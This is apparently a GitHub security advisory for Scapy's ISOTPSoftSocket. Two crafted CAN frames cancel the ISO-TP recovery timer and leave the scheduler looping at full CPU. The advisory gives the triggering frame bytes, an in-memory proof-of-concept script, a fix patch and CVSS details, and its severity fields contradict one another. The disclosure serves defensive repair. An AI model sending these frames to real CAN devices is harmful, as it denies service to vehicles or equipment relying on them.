Skip to content

Patch the Planet: A rejected ISO-TP frame keeps the receive scheduler at full CPU

Moderate
polybassa published GHSA-92qm-jfgf-qqxg Sep 2, 2026

Package

pip scapy (pip)

Affected versions

<2.8.0

Patched versions

2.8.0

Description

What happens

Two CAN frames addressed to an ISOTPSoftSocket can make Scapy's timeout scheduler execute
receive callbacks without ever returning to its wait operation. The scheduler loop continued for
20 seconds on commit 1f870205baae8baf1718bc20700d0d9ffc0e4324 with
conf.debug_dissector = 0; the CAN source had been empty for the entire measured interval.

Background — what this code does

ISO-TP carries application payloads that are too long for one CAN frame by splitting them into a
First Frame followed by numbered Consecutive Frames. ISOTPSoftSocket implements that receive
state machine over a CAN socket at
scapy/contrib/isotp/isotp_soft_socket.py:489-522.

The implementation runs a shared background TimeoutScheduler for receive polling, transmit work,
and ISO-TP recovery timeouts. Applications use the socket with sniff(opened_socket=...), recv,
or sr1 when a native kernel ISO-TP socket is unavailable or unsuitable.

How the code is reached

An operator imports scapy.contrib.isotp and opens an ISOTPSoftSocket with normal transmit and
receive CAN identifiers. A malicious ECU or any participant able to send to that receive identifier
first sends:

10 20 41 41 41 41 41 41

This is an eight-byte First Frame declaring a 32-byte payload. The participant follows it with
21 42, a Consecutive Frame with the expected sequence number but too little data to be an
intermediate frame, and then stops. Both frames fit the CAN wire format.

The proof uses listen_only=True so it does not emit a Flow Control response, but the receive and
timeout paths are identical with the constructor default.

Why it matters

After the two frames are consumed, the scheduler thread continually checks the CAN socket and
schedules another immediate check. It consumes a CPU core for the life of the socket even though no
CAN input remains. TimeoutScheduler is shared by the software ISO-TP sockets in the process, so one
poisoned receive state also keeps their common scheduling thread busy.

No exception is raised for packet parsing to contain. Closing the affected socket stops the loop;
otherwise the peer can leave it running without continued traffic.

Reproduce it

Everything below runs in-process with an in-memory CAN transport. It does not need CAN hardware,
privileges, or network access.

import time

from scapy.contrib.isotp import ISOTPSoftSocket
from scapy.contrib.isotp.isotp_soft_socket import TimeoutScheduler
from scapy.layers.can import CAN


class MemoryCAN:
    closed = False

    def __init__(self):
        self.frames = []
        self.calls = 0

    def select(self, sockets, remain=0):
        self.calls += 1
        return sockets if self.frames else []

    def recv(self):
        return self.frames.pop(0) if self.frames else None

    def send(self, packet):
        pass


def run(second_frame):
    TimeoutScheduler.clear()
    bus = MemoryCAN()
    with ISOTPSoftSocket(bus, tx_id=0x641, rx_id=0x241, listen_only=True) as sock:
        bus.frames.extend([
            CAN(identifier=0x241, data=bytes.fromhex("1020414141414141")),
            CAN(identifier=0x241, data=bytes.fromhex(second_frame)),
        ])
        time.sleep(0.05)
        first = bus.calls
        time.sleep(0.05)
        print("state", sock.impl.rx_state, "timer active",
              sock.impl.rx_timeout_handle is not None, "select calls", first, bus.calls)
    TimeoutScheduler.clear()


run("2142")
run("0142")

This representative output was observed on the vulnerable revision:

state 3 timer active False select calls 47858 96906
state 0 timer active False select calls 12 21

The second run changes only the frame-type byte from Consecutive Frame 0x21 to a valid one-byte
Single Frame 0x01. State zero is idle; state three is ISOTP_WAIT_DATA. Callback counts vary by
machine, but the vulnerable count continued rising by tens of thousands after the queue was empty.

Scapy 2.7.1rc1.post100, Python 3.12.13, default conf,
conf.debug_dissector = 0.

Where it goes wrong

The First Frame sets ISOTP_WAIT_DATA and schedules recovery at
scapy/contrib/isotp/isotp_soft_socket.py:1007-1022.
The recovery timer would normally reset the receive state if no valid Consecutive Frame arrives.

On the vulnerable revision,
_recv_cf at scapy/contrib/isotp/isotp_soft_socket.py:1029-1046
cancels that timer before it checks the frame length:

if self.rx_timeout_handle is not None:
    self.rx_timeout_handle.cancel()
    self.rx_timeout_handle = None

if len(data) < self.rx_ll_dl:
    if self.rx_len - self.rx_idx > self.rx_ll_dl:
        return

The 32-byte transfer has received six bytes, so 26 remain. The CAN frame is two bytes long, below
rx_ll_dl == 8, while more than eight payload bytes remain. The callback returns without appending
data, changing rx_state, or replacing the cancelled timeout.

can_recv at scapy/contrib/isotp/isotp_soft_socket.py:672-685
maps ISOTP_WAIT_DATA to poll_time = 0.0 and schedules itself again. The scheduler's loop at
scapy/contrib/isotp/isotp_soft_socket.py:403-426
keeps running while its earliest handle is due. Each receive callback inserts another handle due at
the current time, so that return condition stays false.

Suggested fix

The change to Scapy itself, from fix.patch:

--- a/scapy/contrib/isotp/isotp_soft_socket.py
+++ b/scapy/contrib/isotp/isotp_soft_socket.py
@@ -1029,10 +1029,6 @@ class ISOTPSocketImplementation:
         if self.rx_state != ISOTP_WAIT_DATA:
             return
 
-        if self.rx_timeout_handle is not None:
-            self.rx_timeout_handle.cancel()
-            self.rx_timeout_handle = None
-
         # CFs are never longer than the FF
         if len(data) > self.rx_ll_dl:
             return
@@ -1045,6 +1041,10 @@ class ISOTPSocketImplementation:
                     log_isotp.warning("Received a CF with insufficient length")
                 return
 
+        if self.rx_timeout_handle is not None:
+            self.rx_timeout_handle.cancel()
+            self.rx_timeout_handle = None
+
         if data[0] & 0x0f != self.rx_sn:
             # Wrong sequence number
             if conf.verb > 2:

Validate the Consecutive Frame's length while the recovery timeout is still active:

-        if self.rx_timeout_handle is not None:
-            self.rx_timeout_handle.cancel()
-            self.rx_timeout_handle = None
-
         # CF length checks remain here

+        if self.rx_timeout_handle is not None:
+            self.rx_timeout_handle.cancel()
+            self.rx_timeout_handle = None

Accepted frames still cancel and replace the timeout as before. Rejected frames leave the existing
timeout responsible for returning ISOTP_WAIT_DATA to idle, so the scheduler reaches its normal
wait operation.

The added regression test asserts that the timer identity remains unchanged for the rejected
frame. Removing the source change made that test fail; restoring it made the test pass. Seven
adjacent ISOTPSoftSocket tests also passed, and the packet proof completed after about 10.14
seconds with the patch instead of timing out at 20 seconds. The direct valid-frame benchmark
measured a +5.6% change with a 2.0% noise floor and about 5 ns sensitivity. The full Scapy CI suite
was not run.

Affected

  • Package: Scapy · Branch: master
  • Confirmed on: commit 1f870205baae8baf1718bc20700d0d9ffc0e4324, version 2.7.1rc1.post100
  • Severity: High under Scapy's published grading for a packet parsing loop — CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (6.5). The score records adjacent unauthenticated CAN access and availability impact only.
  • CWE: CWE-835

Credit

Reported by: Clinton Thomas (@KernelClint) of Trail of Bits, in collaboration with OpenAI.
Found with GPT-5.6-Cyber as part of the Patch the Planet security initiative.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Adjacent
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:A/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H

CVE ID

No known CVE

Weaknesses

Loop with Unreachable Exit Condition ('Infinite Loop')

The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop. Learn more on MITRE.

Credits